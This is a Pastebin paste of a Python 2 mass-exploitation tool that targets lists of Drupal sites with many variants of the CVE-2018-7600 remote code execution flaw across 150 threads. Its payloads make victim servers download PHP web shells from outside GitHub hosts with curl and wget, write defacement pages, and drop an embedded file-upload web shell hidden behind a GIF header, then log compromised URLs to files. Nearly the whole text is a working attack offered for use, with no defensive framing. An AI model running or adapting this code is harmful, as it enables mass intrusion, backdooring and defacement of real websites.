Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Coded By izocin
- # Turkey
- import requests, re, urllib2, os, sys, codecs,binascii, json
- from multiprocessing.dummy import Pool
- from time import time as timer
- import time
- from random import sample as rand
- from Queue import Queue
- from platform import system
- from colorama import Fore
- from colorama import Style
- from pprint import pprint
- from colorama import init
- init(autoreset=True)
- requests.urllib3.disable_warnings()
- ####### Colors ######
- def progressbar(it, prefix = "", size = 1000):
- count = len(it)
- def _show(_i):
- x = int(size*_i/count)
- sys.stdout.write("%s[%s%s] %i/%i\r" % (prefix, "#"*x, "_"*(size-x), _i, count))
- sys.stdout.flush()
- _show(0)
- for i, item in enumerate(it):
- yield item
- _show(i+1)
- sys.stdout.write("\n")
- sys.stdout.flush()
- toolbar_width = 30
- sys.stdout.write(":%s:" % (" " * toolbar_width))
- sys.stdout.flush()
- sys.stdout.write("\b" * (toolbar_width+1))
- for i in xrange(toolbar_width):
- time.sleep(0.01)
- sys.stdout.write("*")
- sys.stdout.flush()
- sys.stdout.write("\n")
- fr = Fore.RED
- fc = Fore.CYAN
- fw = Fore.WHITE
- fg = Fore.GREEN
- sd = Style.DIM
- sn = Style.NORMAL
- sb = Style.BRIGHT
- #######################
- try:
- with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f:
- ooo = f.read().splitlines()
- except IOError:
- pass
- ooo = list((ooo))
- if system() == 'Linux':
- os.system('clear')
- shell = """GIF89a <?php echo 'M3 2018'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd(); Echo '<center> <form method="post" Joomla="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "<script>alert('upload Done'); </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ?>"""
- def sitebul(url):
- try:
- # 22 . rev
- get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php && wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php', 'name[#type]':'markup'}
- post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
- r = requests.post(url, data=post_params, params=get_params)
- m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
- if m:
- found = m.group(1)
- get_params = {'q':'file/ajax/name/#value/' + found}
- post_params = {'form_build_id':found}
- r = requests.post(url, data=post_params, params=get_params)
- lib = requests.get(url+'/dick.php')
- if re.findall("M3", lib.content):
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 {}{} Shell upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/dick.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php && wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php', 'name[#type]':'markup'}
- post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
- r = requests.post(url, data=post_params, params=get_params)
- m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
- if m:
- found = m.group(1)
- get_params = {'q':'file/ajax/name/#value/' + found}
- post_params = {'form_build_id':found}
- r = requests.post(url, data=post_params, params=get_params)
- lib = requests.get(url+'/dick.php')
- if re.findall("M3", lib.content):
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 {}{} Shell upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/dick.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- # 22 . rev
- Index_page = "echo 'M3sicth' > m3.htm"
- get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]': Index_page, 'name[#type]': 'markup'}
- post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
- r = requests.post(url, data=post_params, params=get_params)
- m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
- if m:
- found = m.group(1)
- get_params = {'q':'file/ajax/name/#value/' + found}
- post_params = {'form_build_id':found}
- r = requests.post(url, data=post_params, params=get_params)
- lib = requests.get(url+'/m3.htm')
- if re.findall("M3sicth", lib.content):
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 {}{} index upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('index.txt', 'a').write(url+'/m3.htm'+'\n')
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 index {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'curl https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php && wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php', 'name[#type]':'markup'}
- post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
- r = requests.post(url, data=post_params, params=get_params)
- m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
- if m:
- found = m.group(1)
- get_params = {'q':'file/ajax/name/#value/' + found}
- post_params = {'form_build_id':found}
- r = requests.post(url, data=post_params, params=get_params)
- lib = requests.get(url+'/payload.php')
- if re.findall("Spider Project", lib.content):
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 V2 {}{} Shell upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shells.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 V2 {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- # 22 . rev
- Index_page = "echo 'izocin' > vuln.htm"
- get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]': Index_page, 'name[#type]': 'markup'}
- post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
- r = requests.post(url, data=post_params, params=get_params)
- m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
- if m:
- found = m.group(1)
- get_params = {'q':'file/ajax/name/#value/' + found}
- post_params = {'form_build_id':found}
- r = requests.post(url, data=post_params, params=get_params)
- lib = requests.get(url+'/vuln.htm')
- if re.findall("izocin", lib.content):
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 2 {}{} index upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('drupal-index.txt', 'a').write(url+'/vuln.htm'+'\n')
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 2 index {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php && curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'M3sicth' in requests.get(url+'/payload.php', verify=False, headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 payload {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 payload {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php && wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'M3sicth' in requests.get(url+'/payload.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 mail {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 mail {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php && wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'M3sicth' in requests.get(url+'/payload.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 lazy_builder {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 lazy_builder {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'timezone[a][#lazy_builder][]': 'exec', 'timezone[a][#lazy_builder][][]': 'curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php && wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'M3sicth' in requests.get(url+'/payload.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 timezone {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 timezone {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- r = requests.post(url+'/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "curl https://raw.githubusercontent.com/concuconz/caca/master/dick.php && wget https://raw.githubusercontent.com/concuconz/caca/master/dick.php"})
- if 'M3sicth' in requests.get(url+'/payload.php').text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 post_render {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shell.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 post_render {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- headers = {'User-Agent': 'Mozilla 5.0'}
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
- 'mail[#type]': 'markup', 'mail[#markup]': 'echo Vuln!! patch it Now!> m3.htm'}
- payload2 = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "' + shell + '"> vuln.php'}
- ar = requests.post(url+'/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, timeout=5)
- if 'Vuln!!' in requests.get(url+'/vuln.htm', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} CVE-2018-7600 RCE V8 index {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('index.txt', 'a').write(url+'/m3.htm'+'\n')
- sys.exit()
- rr = requests.post(url+ '/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload2)
- if 'M3sicth' in requests.get(url+'/vuln.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 post_render {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('index.txt', 'a').write(url+'/m3.htm'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- # 22 . rev
- Index_page = "echo 'izocin' > vuln.htm"
- get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]': Index_page, 'name[#type]': 'markup'}
- post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
- r = requests.post(url, data=post_params, params=get_params)
- m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
- if m:
- found = m.group(1)
- get_params = {'q':'file/ajax/name/#value/' + found}
- post_params = {'form_build_id':found}
- r = requests.post(url, data=post_params, params=get_params)
- lib = requests.get(url+'/vuln.htm')
- if re.findall("izocin", lib.content):
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 {}{} index upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('drupal-index.txt', 'a').write(url+'/vuln.htm'+'\n')
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 index {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php && curl https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'Spider Project' in requests.get(url+'/payload.php', verify=False, headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 payload {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shells.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V7 payload {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'curl https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php && wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'Spider Project' in requests.get(url+'/payload.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 mail {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shells.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 mail {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'curl https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php && wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'Spider Project' in requests.get(url+'/payload.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 lazy_builder {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shells.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 lazy_builder {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'timezone[a][#lazy_builder][]': 'exec', 'timezone[a][#lazy_builder][][]': 'curl https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php && wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php'}
- headers = {'User-Agent': 'Mozilla 5.0'}
- r = requests.post(url+ '/user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
- if 'Spider Project' in requests.get(url+'/payload.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 timezone {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shells.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 timezone {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- r = requests.post(url+'/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "curl https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php && wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php"})
- if 'Spider Project' in requests.get(url+'/payload.php').text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 post_render {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('Shells.txt', 'a').write(url+'/payload.php'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 post_render {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- headers = {'User-Agent': 'Mozilla 5.0'}
- payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
- 'mail[#type]': 'markup', 'mail[#markup]': 'echo Vuln!! patch it Now!> vuln.htm'}
- payload2 = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "' + shell + '"> vuln.php'}
- ar = requests.post(url+'/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, timeout=5)
- if 'Vuln!!' in requests.get(url+'/vuln.htm', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} CVE-2018-7600 RCE V8 index {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('drupal-index.txt', 'a').write(url+'/vuln.htm'+'\n')
- sys.exit()
- rr = requests.post(url+ '/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload2)
- if 'izocin' in requests.get(url+'/vuln.php', headers=headers).text:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 post_render {}{} Success upload '.format(sb, sd, url, fc,fc, sb,fg)
- open('drupal-index.txt', 'a').write(url+'/vuln.htm'+'\n')
- sys.exit()
- else:
- print '[{}Drupal]: {} {} ====> {}{} RCE V8 {}{} Failed '.format(sb, sd, url, fc,fc, sb,fr)
- except:
- pass
- def Main():
- try:
- start = timer()
- ThreadPool = Pool(150)
- Threads = ThreadPool.map(sitebul, ooo)
- print('Time: ' + str(timer() - start) + ' seconds')
- except:
- pass
- if __name__ == '__main__':
- Main()
Add Comment
Please, Sign In to add comment